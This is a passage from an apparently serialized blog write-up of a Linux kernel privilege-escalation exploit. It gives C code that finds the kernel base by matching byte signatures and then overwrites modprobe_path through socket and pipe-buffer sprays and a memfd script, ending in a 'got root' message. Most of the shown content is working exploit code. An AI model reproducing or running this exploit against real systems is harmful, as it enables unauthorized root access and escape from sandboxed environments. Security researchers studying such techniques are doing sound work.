",{"type":23,"tag":504,"props":61060,"children":61061},{},[61062],{"type":29,"value":826},{"type":29,"value":61064}," we call the ",{"type":23,"tag":154,"props":61066,"children":61068},{"className":61067},[],[61069],{"type":29,"value":61070},"is_kernel_base()",{"type":29,"value":61072}," function. This is a function based on lau's exploit ",{"type":23,"tag":504,"props":61074,"children":61075},{},[61076],{"type":29,"value":20158},{"type":29,"value":61078}," that basically matches for multiple byte patterns that may exist at the kernel base page across different builds, to maximize compatibility.",{"type":23,"tag":4743,"props":61080,"children":61082},{"className":31164,"code":61081,"language":31166,"meta":7,"style":7},"[...]\nstatic bool is_kernel_base(unsigned char *addr)\n{\n    // thanks lau :)\n\n    // get-sig kernel_runtime_1\n    if (memcmp(addr + 0x0, \"\\x48\\x8d\\x25\\x51\\x3f\", 5) == 0 &&\n        memcmp(addr + 0x7, \"\\x48\\x8d\\x3d\\xf2\\xff\\xff\\xff\", 7) == 0)\n        return true;\n\n    // get-sig kernel_runtime_2\n    if (memcmp(addr + 0x0, \"\\xfc\\x0f\\x01\\x15\", 4) == 0 &&\n        memcmp(addr + 0x8, \"\\xb8\\x10\\x00\\x00\\x00\\x8e\\xd8\\x8e\\xc0\\x8e\\xd0\\xbf\", 12) == 0 &&\n        memcmp(addr + 0x18, \"\\x89\\xde\\x8b\\x0d\", 4) == 0 &&\n        memcmp(addr + 0x20, \"\\xc1\\xe9\\x02\\xf3\\xa5\\xbc\", 6) == 0 &&\n        memcmp(addr + 0x2a, \"\\x0f\\x20\\xe0\\x83\\xc8\\x20\\x0f\\x22\\xe0\\xb9\\x80\\x00\\x00\\xc0\\x0f\\x32\\x0f\\xba\\xe8\\x08\\x0f\\x30\\xb8\\x00\", 24) == 0 &&\n        memcmp(addr + 0x45, \"\\x0f\\x22\\xd8\\xb8\\x01\\x00\\x00\\x80\\x0f\\x22\\xc0\\xea\\x57\\x00\\x00\", 15) == 0 &&\n        memcmp(addr + 0x55, \"\\x08\\x00\\xb9\\x01\\x01\\x00\\xc0\\xb8\", 8) == 0 &&\n        memcmp(addr + 0x61, \"\\x31\\xd2\\x0f\\x30\\xe8\", 5) == 0 &&\n        memcmp(addr + 0x6a, \"\\x48\\xc7\\xc6\", 3) == 0 &&\n        memcmp(addr + 0x71, \"\\x48\\xc7\\xc0\\x80\\x00\\x00\", 6) == 0 &&\n        memcmp(addr + 0x78, \"\\xff\\xe0\", 2) == 0)\n        return true;\n\n    return false;\n}\n[...]\n",[61083],{"type":23,"tag":154,"props":61084,"children":61085},{"__ignoreMap":7},[61086,61093,61123,61130,61138,61145,61153,61224,61286,61301,61308,61316,61384,61446,61507,61568,61630,61692,61753,61814,61875,61936,61997,62012,62019,62034,62041],{"type":23,"tag":504,"props":61087,"children":61088},{"class":5016,"line":5017},[61089],{"type":23,"tag":504,"props":61090,"children":61091},{"style":5058},[61092],{"type":29,"value":12364},{"type":23,"tag":504,"props":61094,"children":61095},{"class":5016,"line":4868},[61096,61101,61106,61111,61115,61119],{"type":23,"tag":504,"props":61097,"children":61098},{"style":5058},[61099],{"type":29,"value":61100},"static bool is_kernel_base(",{"type":23,"tag":504,"props":61102,"children":61103},{"style":5030},[61104],{"type":29,"value":61105},"unsigned",{"type":23,"tag":504,"props":61107,"children":61108},{"style":5030},[61109],{"type":29,"value":61110}," char",{"type":23,"tag":504,"props":61112,"children":61113},{"style":5030},[61114],{"type":29,"value":11863},{"type":23,"tag":504,"props":61116,"children":61117},{"style":5041},[61118],{"type":29,"value":32742},{"type":23,"tag":504,"props":61120,"children":61121},{"style":5058},[61122],{"type":29,"value":5200},{"type":23,"tag":504,"props":61124,"children":61125},{"class":5016,"line":4876},[61126],{"type":23,"tag":504,"props":61127,"children":61128},{"style":5058},[61129],{"type":29,"value":12926},{"type":23,"tag":504,"props":61131,"children":61132},{"class":5016,"line":5099},[61133],{"type":23,"tag":504,"props":61134,"children":61135},{"style":5021},[61136],{"type":29,"value":61137},"    // thanks lau :)\n",{"type":23,"tag":504,"props":61139,"children":61140},{"class":5016,"line":5203},[61141],{"type":23,"tag":504,"props":61142,"children":61143},{"emptyLinePlaceholder":15},[61144],{"type":29,"value":5734},{"type":23,"tag":504,"props":61146,"children":61147},{"class":5016,"line":5308},[61148],{"type":23,"tag":504,"props":61149,"children":61150},{"style":5021},[61151],{"type":29,"value":61152},"    // get-sig kernel_runtime_1\n",{"type":23,"tag":504,"props":61154,"children":61155},{"class":5016,"line":5336},[61156,61160,61164,61169,61174,61178,61183,61187,61191,61196,61200,61204,61208,61212,61216,61220],{"type":23,"tag":504,"props":61157,"children":61158},{"style":5067},[61159],{"type":29,"value":14325},{"type":23,"tag":504,"props":61161,"children":61162},{"style":5058},[61163],{"type":29,"value":5110},{"type":23,"tag":504,"props":61165,"children":61166},{"style":5139},[61167],{"type":29,"value":61168},"memcmp",{"type":23,"tag":504,"props":61170,"children":61171},{"style":5058},[61172],{"type":29,"value":61173},"(addr ",{"type":23,"tag":504,"props":61175,"children":61176},{"style":5047},[61177],{"type":29,"value":6422},{"type":23,"tag":504,"props":61179,"children":61180},{"style":5083},[61181],{"type":29,"value":61182}," 0x0",{"type":23,"tag":504,"props":61184,"children":61185},{"style":5058},[61186],{"type":29,"value":4367},{"type":23,"tag":504,"props":61188,"children":61189},{"style":6297},[61190],{"type":29,"value":22112},{"type":23,"tag":504,"props":61192,"children":61193},{"style":50436},[61194],{"type":29,"value":61195},"\\x48\\x8d\\x25\\x51\\x3f",{"type":23,"tag":504,"props":61197,"children":61198},{"style":6297},[61199],{"type":29,"value":22112},{"type":23,"tag":504,"props":61201,"children":61202},{"style":5058},[61203],{"type":29,"value":4367},{"type":23,"tag":504,"props":61205,"children":61206},{"style":5083},[61207],{"type":29,"value":20158},{"type":23,"tag":504,"props":61209,"children":61210},{"style":5058},[61211],{"type":29,"value":5128},{"type":23,"tag":504,"props":61213,"children":61214},{"style":5047},[61215],{"type":29,"value":1224},{"type":23,"tag":504,"props":61217,"children":61218},{"style":5083},[61219],{"type":29,"value":5086},{"type":23,"tag":504,"props":61221,"children":61222},{"style":5047},[61223],{"type":29,"value":54745},{"type":23,"tag":504,"props":61225,"children":61226},{"class":5016,"line":5349},[61227,61232,61236,61240,61245,61249,61253,61258,61262,61266,61270,61274,61278,61282],{"type":23,"tag":504,"props":61228,"children":61229},{"style":5139},[61230],{"type":29,"value":61231},"        memcmp",{"type":23,"tag":504,"props":61233,"children":61234},{"style":5058},[61235],{"type":29,"value":61173},{"type":23,"tag":504,"props":61237,"children":61238},{"style":5047},[61239],{"type":29,"value":6422},{"type":23,"tag":504,"props":61241,"children":61242},{"style":5083},[61243],{"type":29,"value":61244}," 0x7",{"type":23,"tag":504,"props":61246,"children":61247},{"style":5058},[61248],{"type":29,"value":4367},{"type":23,"tag":504,"props":61250,"children":61251},{"style":6297},[61252],{"type":29,"value":22112},{"type":23,"tag":504,"props":61254,"children":61255},{"style":50436},[61256],{"type":29,"value":61257},"\\x48\\x8d\\x3d\\xf2\\xff\\xff\\xff",{"type":23,"tag":504,"props":61259,"children":61260},{"style":6297},[61261],{"type":29,"value":22112},{"type":23,"tag":504,"props":61263,"children":61264},{"style":5058},[61265],{"type":29,"value":4367},{"type":23,"tag":504,"props":61267,"children":61268},{"style":5083},[61269],{"type":29,"value":56732},{"type":23,"tag":504,"props":61271,"children":61272},{"style":5058},[61273],{"type":29,"value":5128},{"type":23,"tag":504,"props":61275,"children":61276},{"style":5047},[61277],{"type":29,"value":1224},{"type":23,"tag":504,"props":61279,"children":61280},{"style":5083},[61281],{"type":29,"value":5086},{"type":23,"tag":504,"props":61283,"children":61284},{"style":5058},[61285],{"type":29,"value":5200},{"type":23,"tag":504,"props":61287,"children":61288},{"class":5016,"line":5367},[61289,61293,61297],{"type":23,"tag":504,"props":61290,"children":61291},{"style":5067},[61292],{"type":29,"value":17791},{"type":23,"tag":504,"props":61294,"children":61295},{"style":5030},[61296],{"type":29,"value":14515},{"type":23,"tag":504,"props":61298,"children":61299},{"style":5058},[61300],{"type":29,"value":5061},{"type":23,"tag":504,"props":61302,"children":61303},{"class":5016,"line":5388},[61304],{"type":23,"tag":504,"props":61305,"children":61306},{"emptyLinePlaceholder":15},[61307],{"type":29,"value":5734},{"type":23,"tag":504,"props":61309,"children":61310},{"class":5016,"line":5397},[61311],{"type":23,"tag":504,"props":61312,"children":61313},{"style":5021},[61314],{"type":29,"value":61315},"    // get-sig kernel_runtime_2\n",{"type":23,"tag":504,"props":61317,"children":61318},{"class":5016,"line":5649},[61319,61323,61327,61331,61335,61339,61343,61347,61351,61356,61360,61364,61368,61372,61376,61380],{"type":23,"tag":504,"props":61320,"children":61321},{"style":5067},[61322],{"type":29,"value":14325},{"type":23,"tag":504,"props":61324,"children":61325},{"style":5058},[61326],{"type":29,"value":5110},{"type":23,"tag":504,"props":61328,"children":61329},{"style":5139},[61330],{"type":29,"value":61168},{"type":23,"tag":504,"props":61332,"children":61333},{"style":5058},[61334],{"type":29,"value":61173},{"type":23,"tag":504,"props":61336,"children":61337},{"style":5047},[61338],{"type":29,"value":6422},{"type":23,"tag":504,"props":61340,"children":61341},{"style":5083},[61342],{"type":29,"value":61182},{"type":23,"tag":504,"props":61344,"children":61345},{"style":5058},[61346],{"type":29,"value":4367},{"type":23,"tag":504,"props":61348,"children":61349},{"style":6297},[61350],{"type":29,"value":22112},{"type":23,"tag":504,"props":61352,"children":61353},{"style":50436},[61354],{"type":29,"value":61355},"\\xfc\\x0f\\x01\\x15",{"type":23,"tag":504,"props":61357,"children":61358},{"style":6297},[61359],{"type":29,"value":22112},{"type":23,"tag":504,"props":61361,"children":61362},{"style":5058},[61363],{"type":29,"value":4367},{"type":23,"tag":504,"props":61365,"children":61366},{"style":5083},[61367],{"type":29,"value":19577},{"type":23,"tag":504,"props":61369,"children":61370},{"style":5058},[61371],{"type":29,"value":5128},{"type":23,"tag":504,"props":61373,"children":61374},{"style":5047},[61375],{"type":29,"value":1224},{"type":23,"tag":504,"props":61377,"children":61378},{"style":5083},[61379],{"type":29,"value":5086},{"type":23,"tag":504,"props":61381,"children":61382},{"style":5047},[61383],{"type":29,"value":54745},{"type":23,"tag":504,"props":61385,"children":61386},{"class":5016,"line":5666},[61387,61391,61395,61399,61404,61408,61412,61417,61421,61425,61430,61434,61438,61442],{"type":23,"tag":504,"props":61388,"children":61389},{"style":5139},[61390],{"type":29,"value":61231},{"type":23,"tag":504,"props":61392,"children":61393},{"style":5058},[61394],{"type":29,"value":61173},{"type":23,"tag":504,"props":61396,"children":61397},{"style":5047},[61398],{"type":29,"value":6422},{"type":23,"tag":504,"props":61400,"children":61401},{"style":5083},[61402],{"type":29,"value":61403}," 0x8",{"type":23,"tag":504,"props":61405,"children":61406},{"style":5058},[61407],{"type":29,"value":4367},{"type":23,"tag":504,"props":61409,"children":61410},{"style":6297},[61411],{"type":29,"value":22112},{"type":23,"tag":504,"props":61413,"children":61414},{"style":50436},[61415],{"type":29,"value":61416},"\\xb8\\x10\\x00\\x00\\x00\\x8e\\xd8\\x8e\\xc0\\x8e\\xd0\\xbf",{"type":23,"tag":504,"props":61418,"children":61419},{"style":6297},[61420],{"type":29,"value":22112},{"type":23,"tag":504,"props":61422,"children":61423},{"style":5058},[61424],{"type":29,"value":4367},{"type":23,"tag":504,"props":61426,"children":61427},{"style":5083},[61428],{"type":29,"value":61429},"12",{"type":23,"tag":504,"props":61431,"children":61432},{"style":5058},[61433],{"type":29,"value":5128},{"type":23,"tag":504,"props":61435,"children":61436},{"style":5047},[61437],{"type":29,"value":1224},{"type":23,"tag":504,"props":61439,"children":61440},{"style":5083},[61441],{"type":29,"value":5086},{"type":23,"tag":504,"props":61443,"children":61444},{"style":5047},[61445],{"type":29,"value":54745},{"type":23,"tag":504,"props":61447,"children":61448},{"class":5016,"line":5683},[61449,61453,61457,61461,61466,61470,61474,61479,61483,61487,61491,61495,61499,61503],{"type":23,"tag":504,"props":61450,"children":61451},{"style":5139},[61452],{"type":29,"value":61231},{"type":23,"tag":504,"props":61454,"children":61455},{"style":5058},[61456],{"type":29,"value":61173},{"type":23,"tag":504,"props":61458,"children":61459},{"style":5047},[61460],{"type":29,"value":6422},{"type":23,"tag":504,"props":61462,"children":61463},{"style":5083},[61464],{"type":29,"value":61465}," 0x18",{"type":23,"tag":504,"props":61467,"children":61468},{"style":5058},[61469],{"type":29,"value":4367},{"type":23,"tag":504,"props":61471,"children":61472},{"style":6297},[61473],{"type":29,"value":22112},{"type":23,"tag":504,"props":61475,"children":61476},{"style":50436},[61477],{"type":29,"value":61478},"\\x89\\xde\\x8b\\x0d",{"type":23,"tag":504,"props":61480,"children":61481},{"style":6297},[61482],{"type":29,"value":22112},{"type":23,"tag":504,"props":61484,"children":61485},{"style":5058},[61486],{"type":29,"value":4367},{"type":23,"tag":504,"props":61488,"children":61489},{"style":5083},[61490],{"type":29,"value":19577},{"type":23,"tag":504,"props":61492,"children":61493},{"style":5058},[61494],{"type":29,"value":5128},{"type":23,"tag":504,"props":61496,"children":61497},{"style":5047},[61498],{"type":29,"value":1224},{"type":23,"tag":504,"props":61500,"children":61501},{"style":5083},[61502],{"type":29,"value":5086},{"type":23,"tag":504,"props":61504,"children":61505},{"style":5047},[61506],{"type":29,"value":54745},{"type":23,"tag":504,"props":61508,"children":61509},{"class":5016,"line":5696},[61510,61514,61518,61522,61527,61531,61535,61540,61544,61548,61552,61556,61560,61564],{"type":23,"tag":504,"props":61511,"children":61512},{"style":5139},[61513],{"type":29,"value":61231},{"type":23,"tag":504,"props":61515,"children":61516},{"style":5058},[61517],{"type":29,"value":61173},{"type":23,"tag":504,"props":61519,"children":61520},{"style":5047},[61521],{"type":29,"value":6422},{"type":23,"tag":504,"props":61523,"children":61524},{"style":5083},[61525],{"type":29,"value":61526}," 0x20",{"type":23,"tag":504,"props":61528,"children":61529},{"style":5058},[61530],{"type":29,"value":4367},{"type":23,"tag":504,"props":61532,"children":61533},{"style":6297},[61534],{"type":29,"value":22112},{"type":23,"tag":504,"props":61536,"children":61537},{"style":50436},[61538],{"type":29,"value":61539},"\\xc1\\xe9\\x02\\xf3\\xa5\\xbc",{"type":23,"tag":504,"props":61541,"children":61542},{"style":6297},[61543],{"type":29,"value":22112},{"type":23,"tag":504,"props":61545,"children":61546},{"style":5058},[61547],{"type":29,"value":4367},{"type":23,"tag":504,"props":61549,"children":61550},{"style":5083},[61551],{"type":29,"value":20470},{"type":23,"tag":504,"props":61553,"children":61554},{"style":5058},[61555],{"type":29,"value":5128},{"type":23,"tag":504,"props":61557,"children":61558},{"style":5047},[61559],{"type":29,"value":1224},{"type":23,"tag":504,"props":61561,"children":61562},{"style":5083},[61563],{"type":29,"value":5086},{"type":23,"tag":504,"props":61565,"children":61566},{"style":5047},[61567],{"type":29,"value":54745},{"type":23,"tag":504,"props":61569,"children":61570},{"class":5016,"line":5705},[61571,61575,61579,61583,61588,61592,61596,61601,61605,61609,61614,61618,61622,61626],{"type":23,"tag":504,"props":61572,"children":61573},{"style":5139},[61574],{"type":29,"value":61231},{"type":23,"tag":504,"props":61576,"children":61577},{"style":5058},[61578],{"type":29,"value":61173},{"type":23,"tag":504,"props":61580,"children":61581},{"style":5047},[61582],{"type":29,"value":6422},{"type":23,"tag":504,"props":61584,"children":61585},{"style":5083},[61586],{"type":29,"value":61587}," 0x2a",{"type":23,"tag":504,"props":61589,"children":61590},{"style":5058},[61591],{"type":29,"value":4367},{"type":23,"tag":504,"props":61593,"children":61594},{"style":6297},[61595],{"type":29,"value":22112},{"type":23,"tag":504,"props":61597,"children":61598},{"style":50436},[61599],{"type":29,"value":61600},"\\x0f\\x20\\xe0\\x83\\xc8\\x20\\x0f\\x22\\xe0\\xb9\\x80\\x00\\x00\\xc0\\x0f\\x32\\x0f\\xba\\xe8\\x08\\x0f\\x30\\xb8\\x00",{"type":23,"tag":504,"props":61602,"children":61603},{"style":6297},[61604],{"type":29,"value":22112},{"type":23,"tag":504,"props":61606,"children":61607},{"style":5058},[61608],{"type":29,"value":4367},{"type":23,"tag":504,"props":61610,"children":61611},{"style":5083},[61612],{"type":29,"value":61613},"24",{"type":23,"tag":504,"props":61615,"children":61616},{"style":5058},[61617],{"type":29,"value":5128},{"type":23,"tag":504,"props":61619,"children":61620},{"style":5047},[61621],{"type":29,"value":1224},{"type":23,"tag":504,"props":61623,"children":61624},{"style":5083},[61625],{"type":29,"value":5086},{"type":23,"tag":504,"props":61627,"children":61628},{"style":5047},[61629],{"type":29,"value":54745},{"type":23,"tag":504,"props":61631,"children":61632},{"class":5016,"line":5728},[61633,61637,61641,61645,61650,61654,61658,61663,61667,61671,61676,61680,61684,61688],{"type":23,"tag":504,"props":61634,"children":61635},{"style":5139},[61636],{"type":29,"value":61231},{"type":23,"tag":504,"props":61638,"children":61639},{"style":5058},[61640],{"type":29,"value":61173},{"type":23,"tag":504,"props":61642,"children":61643},{"style":5047},[61644],{"type":29,"value":6422},{"type":23,"tag":504,"props":61646,"children":61647},{"style":5083},[61648],{"type":29,"value":61649}," 0x45",{"type":23,"tag":504,"props":61651,"children":61652},{"style":5058},[61653],{"type":29,"value":4367},{"type":23,"tag":504,"props":61655,"children":61656},{"style":6297},[61657],{"type":29,"value":22112},{"type":23,"tag":504,"props":61659,"children":61660},{"style":50436},[61661],{"type":29,"value":61662},"\\x0f\\x22\\xd8\\xb8\\x01\\x00\\x00\\x80\\x0f\\x22\\xc0\\xea\\x57\\x00\\x00",{"type":23,"tag":504,"props":61664,"children":61665},{"style":6297},[61666],{"type":29,"value":22112},{"type":23,"tag":504,"props":61668,"children":61669},{"style":5058},[61670],{"type":29,"value":4367},{"type":23,"tag":504,"props":61672,"children":61673},{"style":5083},[61674],{"type":29,"value":61675},"15",{"type":23,"tag":504,"props":61677,"children":61678},{"style":5058},[61679],{"type":29,"value":5128},{"type":23,"tag":504,"props":61681,"children":61682},{"style":5047},[61683],{"type":29,"value":1224},{"type":23,"tag":504,"props":61685,"children":61686},{"style":5083},[61687],{"type":29,"value":5086},{"type":23,"tag":504,"props":61689,"children":61690},{"style":5047},[61691],{"type":29,"value":54745},{"type":23,"tag":504,"props":61693,"children":61694},{"class":5016,"line":5737},[61695,61699,61703,61707,61712,61716,61720,61725,61729,61733,61737,61741,61745,61749],{"type":23,"tag":504,"props":61696,"children":61697},{"style":5139},[61698],{"type":29,"value":61231},{"type":23,"tag":504,"props":61700,"children":61701},{"style":5058},[61702],{"type":29,"value":61173},{"type":23,"tag":504,"props":61704,"children":61705},{"style":5047},[61706],{"type":29,"value":6422},{"type":23,"tag":504,"props":61708,"children":61709},{"style":5083},[61710],{"type":29,"value":61711}," 0x55",{"type":23,"tag":504,"props":61713,"children":61714},{"style":5058},[61715],{"type":29,"value":4367},{"type":23,"tag":504,"props":61717,"children":61718},{"style":6297},[61719],{"type":29,"value":22112},{"type":23,"tag":504,"props":61721,"children":61722},{"style":50436},[61723],{"type":29,"value":61724},"\\x08\\x00\\xb9\\x01\\x01\\x00\\xc0\\xb8",{"type":23,"tag":504,"props":61726,"children":61727},{"style":6297},[61728],{"type":29,"value":22112},{"type":23,"tag":504,"props":61730,"children":61731},{"style":5058},[61732],{"type":29,"value":4367},{"type":23,"tag":504,"props":61734,"children":61735},{"style":5083},[61736],{"type":29,"value":6124},{"type":23,"tag":504,"props":61738,"children":61739},{"style":5058},[61740],{"type":29,"value":5128},{"type":23,"tag":504,"props":61742,"children":61743},{"style":5047},[61744],{"type":29,"value":1224},{"type":23,"tag":504,"props":61746,"children":61747},{"style":5083},[61748],{"type":29,"value":5086},{"type":23,"tag":504,"props":61750,"children":61751},{"style":5047},[61752],{"type":29,"value":54745},{"type":23,"tag":504,"props":61754,"children":61755},{"class":5016,"line":5746},[61756,61760,61764,61768,61773,61777,61781,61786,61790,61794,61798,61802,61806,61810],{"type":23,"tag":504,"props":61757,"children":61758},{"style":5139},[61759],{"type":29,"value":61231},{"type":23,"tag":504,"props":61761,"children":61762},{"style":5058},[61763],{"type":29,"value":61173},{"type":23,"tag":504,"props":61765,"children":61766},{"style":5047},[61767],{"type":29,"value":6422},{"type":23,"tag":504,"props":61769,"children":61770},{"style":5083},[61771],{"type":29,"value":61772}," 0x61",{"type":23,"tag":504,"props":61774,"children":61775},{"style":5058},[61776],{"type":29,"value":4367},{"type":23,"tag":504,"props":61778,"children":61779},{"style":6297},[61780],{"type":29,"value":22112},{"type":23,"tag":504,"props":61782,"children":61783},{"style":50436},[61784],{"type":29,"value":61785},"\\x31\\xd2\\x0f\\x30\\xe8",{"type":23,"tag":504,"props":61787,"children":61788},{"style":6297},[61789],{"type":29,"value":22112},{"type":23,"tag":504,"props":61791,"children":61792},{"style":5058},[61793],{"type":29,"value":4367},{"type":23,"tag":504,"props":61795,"children":61796},{"style":5083},[61797],{"type":29,"value":20158},{"type":23,"tag":504,"props":61799,"children":61800},{"style":5058},[61801],{"type":29,"value":5128},{"type":23,"tag":504,"props":61803,"children":61804},{"style":5047},[61805],{"type":29,"value":1224},{"type":23,"tag":504,"props":61807,"children":61808},{"style":5083},[61809],{"type":29,"value":5086},{"type":23,"tag":504,"props":61811,"children":61812},{"style":5047},[61813],{"type":29,"value":54745},{"type":23,"tag":504,"props":61815,"children":61816},{"class":5016,"line":5813},[61817,61821,61825,61829,61834,61838,61842,61847,61851,61855,61859,61863,61867,61871],{"type":23,"tag":504,"props":61818,"children":61819},{"style":5139},[61820],{"type":29,"value":61231},{"type":23,"tag":504,"props":61822,"children":61823},{"style":5058},[61824],{"type":29,"value":61173},{"type":23,"tag":504,"props":61826,"children":61827},{"style":5047},[61828],{"type":29,"value":6422},{"type":23,"tag":504,"props":61830,"children":61831},{"style":5083},[61832],{"type":29,"value":61833}," 0x6a",{"type":23,"tag":504,"props":61835,"children":61836},{"style":5058},[61837],{"type":29,"value":4367},{"type":23,"tag":504,"props":61839,"children":61840},{"style":6297},[61841],{"type":29,"value":22112},{"type":23,"tag":504,"props":61843,"children":61844},{"style":50436},[61845],{"type":29,"value":61846},"\\x48\\xc7\\xc6",{"type":23,"tag":504,"props":61848,"children":61849},{"style":6297},[61850],{"type":29,"value":22112},{"type":23,"tag":504,"props":61852,"children":61853},{"style":5058},[61854],{"type":29,"value":4367},{"type":23,"tag":504,"props":61856,"children":61857},{"style":5083},[61858],{"type":29,"value":19344},{"type":23,"tag":504,"props":61860,"children":61861},{"style":5058},[61862],{"type":29,"value":5128},{"type":23,"tag":504,"props":61864,"children":61865},{"style":5047},[61866],{"type":29,"value":1224},{"type":23,"tag":504,"props":61868,"children":61869},{"style":5083},[61870],{"type":29,"value":5086},{"type":23,"tag":504,"props":61872,"children":61873},{"style":5047},[61874],{"type":29,"value":54745},{"type":23,"tag":504,"props":61876,"children":61877},{"class":5016,"line":5821},[61878,61882,61886,61890,61895,61899,61903,61908,61912,61916,61920,61924,61928,61932],{"type":23,"tag":504,"props":61879,"children":61880},{"style":5139},[61881],{"type":29,"value":61231},{"type":23,"tag":504,"props":61883,"children":61884},{"style":5058},[61885],{"type":29,"value":61173},{"type":23,"tag":504,"props":61887,"children":61888},{"style":5047},[61889],{"type":29,"value":6422},{"type":23,"tag":504,"props":61891,"children":61892},{"style":5083},[61893],{"type":29,"value":61894}," 0x71",{"type":23,"tag":504,"props":61896,"children":61897},{"style":5058},[61898],{"type":29,"value":4367},{"type":23,"tag":504,"props":61900,"children":61901},{"style":6297},[61902],{"type":29,"value":22112},{"type":23,"tag":504,"props":61904,"children":61905},{"style":50436},[61906],{"type":29,"value":61907},"\\x48\\xc7\\xc0\\x80\\x00\\x00",{"type":23,"tag":504,"props":61909,"children":61910},{"style":6297},[61911],{"type":29,"value":22112},{"type":23,"tag":504,"props":61913,"children":61914},{"style":5058},[61915],{"type":29,"value":4367},{"type":23,"tag":504,"props":61917,"children":61918},{"style":5083},[61919],{"type":29,"value":20470},{"type":23,"tag":504,"props":61921,"children":61922},{"style":5058},[61923],{"type":29,"value":5128},{"type":23,"tag":504,"props":61925,"children":61926},{"style":5047},[61927],{"type":29,"value":1224},{"type":23,"tag":504,"props":61929,"children":61930},{"style":5083},[61931],{"type":29,"value":5086},{"type":23,"tag":504,"props":61933,"children":61934},{"style":5047},[61935],{"type":29,"value":54745},{"type":23,"tag":504,"props":61937,"children":61938},{"class":5016,"line":5851},[61939,61943,61947,61951,61956,61960,61964,61969,61973,61977,61981,61985,61989,61993],{"type":23,"tag":504,"props":61940,"children":61941},{"style":5139},[61942],{"type":29,"value":61231},{"type":23,"tag":504,"props":61944,"children":61945},{"style":5058},[61946],{"type":29,"value":61173},{"type":23,"tag":504,"props":61948,"children":61949},{"style":5047},[61950],{"type":29,"value":6422},{"type":23,"tag":504,"props":61952,"children":61953},{"style":5083},[61954],{"type":29,"value":61955}," 0x78",{"type":23,"tag":504,"props":61957,"children":61958},{"style":5058},[61959],{"type":29,"value":4367},{"type":23,"tag":504,"props":61961,"children":61962},{"style":6297},[61963],{"type":29,"value":22112},{"type":23,"tag":504,"props":61965,"children":61966},{"style":50436},[61967],{"type":29,"value":61968},"\\xff\\xe0",{"type":23,"tag":504,"props":61970,"children":61971},{"style":6297},[61972],{"type":29,"value":22112},{"type":23,"tag":504,"props":61974,"children":61975},{"style":5058},[61976],{"type":29,"value":4367},{"type":23,"tag":504,"props":61978,"children":61979},{"style":5083},[61980],{"type":29,"value":5164},{"type":23,"tag":504,"props":61982,"children":61983},{"style":5058},[61984],{"type":29,"value":5128},{"type":23,"tag":504,"props":61986,"children":61987},{"style":5047},[61988],{"type":29,"value":1224},{"type":23,"tag":504,"props":61990,"children":61991},{"style":5083},[61992],{"type":29,"value":5086},{"type":23,"tag":504,"props":61994,"children":61995},{"style":5058},[61996],{"type":29,"value":5200},{"type":23,"tag":504,"props":61998,"children":61999},{"class":5016,"line":5859},[62000,62004,62008],{"type":23,"tag":504,"props":62001,"children":62002},{"style":5067},[62003],{"type":29,"value":17791},{"type":23,"tag":504,"props":62005,"children":62006},{"style":5030},[62007],{"type":29,"value":14515},{"type":23,"tag":504,"props":62009,"children":62010},{"style":5058},[62011],{"type":29,"value":5061},{"type":23,"tag":504,"props":62013,"children":62014},{"class":5016,"line":5891},[62015],{"type":23,"tag":504,"props":62016,"children":62017},{"emptyLinePlaceholder":15},[62018],{"type":29,"value":5734},{"type":23,"tag":504,"props":62020,"children":62021},{"class":5016,"line":5899},[62022,62026,62030],{"type":23,"tag":504,"props":62023,"children":62024},{"style":5067},[62025],{"type":29,"value":19037},{"type":23,"tag":504,"props":62027,"children":62028},{"style":5030},[62029],{"type":29,"value":11104},{"type":23,"tag":504,"props":62031,"children":62032},{"style":5058},[62033],{"type":29,"value":5061},{"type":23,"tag":504,"props":62035,"children":62036},{"class":5016,"line":5959},[62037],{"type":23,"tag":504,"props":62038,"children":62039},{"style":5058},[62040],{"type":29,"value":5965},{"type":23,"tag":504,"props":62042,"children":62043},{"class":5016,"line":11093},[62044],{"type":23,"tag":504,"props":62045,"children":62046},{"style":5058},[62047],{"type":29,"value":12364},{"type":23,"tag":320,"props":62049,"children":62051},{"id":62050},"overwriting-modprobe_path",[62052,62054],{"type":29,"value":62053},"Overwriting ",{"type":23,"tag":154,"props":62055,"children":62057},{"className":62056},[],[62058],{"type":29,"value":60439},{"type":23,"tag":32,"props":62060,"children":62061},{},[62062,62064,62070],{"type":29,"value":62063},"Finding the ",{"type":23,"tag":154,"props":62065,"children":62067},{"className":62066},[],[62068],{"type":29,"value":62069},"/sbin/modprobe",{"type":29,"value":62071}," string in kernel memory and replacing it with a controlled value that points to a file we own finally becomes relatively trivial.",{"type":23,"tag":32,"props":62073,"children":62074},{},[62075,62077,62083],{"type":29,"value":62076},"A very well-known trick for this to work, although we are running in a chroot without being able to create files at the root filesystem, is using a memfd exposed through ",{"type":23,"tag":154,"props":62078,"children":62080},{"className":62079},[],[62081],{"type":29,"value":62082},"/proc/\u003Cpid>/fd/\u003Cn>.",{"type":29,"value":62084}," It's worth adding that, given that our pid outside the unprivileged namespace is unknown to us, we brute-force it.",{"type":23,"tag":4743,"props":62086,"children":62088},{"className":31164,"code":62087,"language":31166,"meta":7,"style":7},"[...]\n    puts(\"[*] overwrite modprobe_path\");\n    for (int i = 0; i \u003C 4194304; i++)\n    {\n        pipebuf->page = modprobe_page;\n        pipebuf->offset = modprobe_off;\n        pipebuf->len = 0;\n        for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n        {\n            if (write(sock[i][0], pipebuf, 1024 - 320) \u003C 0)\n            {\n                perror(\"[-] write(socket)\");\n                break;\n            }\n        }\n\n        memset(&data, 0, PAGE_SIZE);\n        snprintf(fd_path, sizeof(fd_path), \"/proc/%i/fd/%i\", i, modprobe_fd);\n\n        lseek(modprobe_fd, 0, SEEK_SET);\n        dprintf(modprobe_fd, MODPROBE_SCRIPT, i, status_fd, i, stdin_fd, i, stdout_fd);\n\n        if (write(pfd[pipe_idx][1], fd_path, 32) \u003C 0)\n        {\n            perror(\"\\n[-] write(pipe)\");\n        }\n\n        if (check_modprobe(fd_path))\n        {\n            puts(\"[-] failed to overwrite modprobe\");\n            break;\n        }\n\n        if (trigger_modprobe(status_fd))\n        {\n            puts(\"\\n[+] got root\");\n            goto out;\n        }\n\n        for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n        {\n            if (read(sock[i][1], leak, 1024 - 320) \u003C 0)\n            {\n                perror(\"[-] read(socket)\");\n                return -1;\n            }\n        }\n    }\n    puts(\"[-] fake modprobe 